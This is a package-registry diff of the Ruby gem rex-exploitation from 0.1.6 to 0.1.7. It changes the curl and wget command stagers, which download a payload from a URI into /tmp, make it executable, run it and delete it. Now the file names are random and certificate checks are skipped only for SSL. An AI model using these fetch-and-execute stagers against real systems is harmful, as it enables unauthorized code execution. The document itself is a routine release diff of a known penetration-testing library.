rex-exploitation 0.1.6 → 0.1.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA1:
3
- metadata.gz: 80afdc8e550167ae91e8e08edd84a2740556cfba
4
- data.tar.gz: 5ddda4d0ea91af79b9847b1f1d36a2b8c3c61d8b
3
+ metadata.gz: a278a592a33384281c661b167d343a70bdefb42f
4
+ data.tar.gz: ad75fa0960a0df1c1ba1cc02f1625897f743a846
5
5
  SHA512:
6
- metadata.gz: e584e169273b66bd8ed80828e6dd438dcd30e086cbc66ede2ae119ef3b8a13304ea7ef9db096bd717d033b4d636540e626bf81a58dc57855b0aa02ed8b6aefa6
7
- data.tar.gz: 9c21de05b924fda0a016019aaf67a460395c1601ad0dbee116ebaf670aad72e2c2e958e4617f29cb35b1a24d9d2fb49e6b7a8101f130b0fb6a7e97ccc50368da
6
+ metadata.gz: efd50974655d355761bd0ea5a362f8e5dd8b976972f69df551c81cf963c79cb9b3d4f40b40a8c277beb30238ea2080238b0ceca2a66e54650eca2c8f04fe03ef
7
+ data.tar.gz: b02158b54940126c38b0394d6c73679fefbfa5034e215b0388e5862cbdc8ebbd5ca676fb6af7f9be3e2abe953dd6ce99d6a5658af95f7ebbb989d148ff8c6f92
Binary file
data.tar.gz.sig CHANGED
Binary file
@@ -12,10 +12,15 @@ class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase
12
12
  end
13
13
 
14
14
  opts[:temp] ||= '/tmp'
15
- payload_file = opts[:payload_uri].split('/').last
16
- payload_path = opts[:temp] + '/' + payload_file
15
+ payload_file = Rex::Text.rand_text_alpha(8)
16
+ payload_path = "#{opts[:temp]}/#{payload_file}"
17
+
18
+ if opts[:ssl]
19
+ cmds << "curl -ko #{payload_path} #{opts[:payload_uri]}"
20
+ else
21
+ cmds << "curl -o #{payload_path} #{opts[:payload_uri]}"
22
+ end
17
23
 
18
- cmds << "curl -ko #{payload_path} #{opts[:payload_uri]}"
19
24
  cmds << "chmod +x #{payload_path}"
20
25
  cmds << payload_path
21
26
  cmds << "rm -f #{payload_path}" unless opts[:nodelete]
@@ -12,10 +12,16 @@ class Rex::Exploitation::CmdStagerWget < Rex::Exploitation::CmdStagerBase
12
12
  end
13
13
 
14
14
  opts[:temp] ||= '/tmp'
15
- payload_file = opts[:payload_uri].split('/').last
16
- payload_path = opts[:temp] + '/' + payload_file
15
+ payload_file = Rex::Text.rand_text_alpha(8)
16
+ payload_path = "#{opts[:temp]}/#{payload_file}"
17
+ no_check_cert = '--no-check-certificate'
18
+
19
+ if opts[:ssl]
20
+ cmds << "wget -O #{payload_path} #{no_check_cert} #{opts[:payload_uri]}"
21
+ else
22
+ cmds << "wget -O #{payload_path} #{opts[:payload_uri]}"
23
+ end
17
24
 
18
- cmds << "wget -P #{opts[:temp]} #{opts[:payload_uri]}"
19
25
  cmds << "chmod +x #{payload_path}"
20
26
  cmds << payload_path
21
27
  cmds << "rm -f #{payload_path}" unless opts[:nodelete]
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Exploitation
3
- VERSION = "0.1.6"
3
+ VERSION = "0.1.7"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-exploitation
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.6
4
+ version: 0.1.7
5
5
  platform: ruby
6
6
  authors:
7
7
  - David Maloney
@@ -88,7 +88,7 @@ cert_chain:
88
88
  G+Hmcg1v810agasPdoydE0RTVZgEOOMoQ07qu7JFXVWZ9ZQpHT7qJATWL/b2csFG
89
89
  8mVuTXnyJOKRJA==
90
90
  -----END CERTIFICATE-----
91
- date: 2016-12-29 00:00:00.000000000 Z
91
+ date: 2016-12-30 00:00:00.000000000 Z
92
92
  dependencies:
93
93
  - !ruby/object:Gem::Dependency
94
94
  name: bundler
metadata.gz.sig CHANGED
Binary file